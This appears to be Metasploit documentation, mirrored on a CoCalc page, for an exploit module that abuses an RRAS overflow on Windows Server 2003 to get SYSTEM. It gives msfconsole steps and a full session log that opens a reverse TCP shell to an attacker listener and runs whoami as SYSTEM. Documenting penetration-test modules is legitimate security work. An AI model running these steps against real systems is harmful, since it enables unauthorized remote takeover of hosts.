CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/exploit/windows/smb/smb_rras_erraticgopher.md
Views: 1904

Vulnerable Application

This module exploits an overflow in the Windows Routing and Remote Access Service (RRAS) to execute code as SYSTEM.

The RRAS DCERPC endpoint is accessible to unauthenticated users via SMBv1 browser named pipe on Windows Server 2003 and Windows XP hosts; however, this module targets Windows Server 2003 only.

Since the service is hosted inside svchost.exe, a failed exploit attempt can cause other system services to fail as well.

The module has been successfully tested on:

  • Windows Server 2003 SP0 (x86)

  • Windows Server 2003 SP1 (x86)

  • Windows Server 2003 SP2 (x86)

  • Windows Server 2003 R2 SP2 (x86)

Verification Steps

Windows:

  • Launch services.msc

  • Start Routing and Remote Access Service

Note that the service may take up to one minute to start.

Metasploit:

  1. Start msfconsole

  2. Do: use exploit/windows/smb/smb_rras_erraticgopher

  3. Do: set rhosts <rhosts>

  4. Do: run

  5. You should get a SYSTEM shell.

Options

SMBPIPE

The pipe name to use (default: browser)

Scenarios

Windows Server 2003 R2 SP2 (x86)

msf6 > use exploit/windows/smb/smb_rras_erraticgopher 
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/smb/smb_rras_erraticgopher) > set rhosts 172.16.191.171
rhosts => 172.16.191.171
msf6 exploit(windows/smb/smb_rras_erraticgopher) > check
[*] 172.16.191.171:445 - The service is running, but could not be validated. RRAS enabled and accessible.
msf6 exploit(windows/smb/smb_rras_erraticgopher) > set lhost 172.16.191.192 
lhost => 172.16.191.192
msf6 exploit(windows/smb/smb_rras_erraticgopher) > run

[*] Started reverse TCP handler on 172.16.191.192:4444 
[*] 172.16.191.171:445 - Binding to 8f09f000-b7ed-11ce-bbd2-00001a181cad:0.0@ncacn_np:172.16.191.171[\browser] ...
[*] 172.16.191.171:445 - Bound to 8f09f000-b7ed-11ce-bbd2-00001a181cad:0.0@ncacn_np:172.16.191.171[\browser] ...
[*] 172.16.191.171:445 - Selecting a target ...
[*] 172.16.191.171:445 - Fingerprint: Windows 2003 R2 (Service Pack 2) - Language: Unknown
[*] 172.16.191.171:445 - Could not detect the language pack, defaulting to English
[*] 172.16.191.171:445 - Using target: Windows Server 2003 R2 SP2 (English) (NX)
[*] 172.16.191.171:445 - Calling RRAS MIBEntryGet with payload (1876 bytes) ...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 172.16.191.171
[*] Command shell session 1 opened (172.16.191.192:4444 -> 172.16.191.171:1029) at 2021-03-02 18:57:40 -0500

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>

Mitigation

Microsoft have released KB4024323 for Windows 2003 and Windows XP: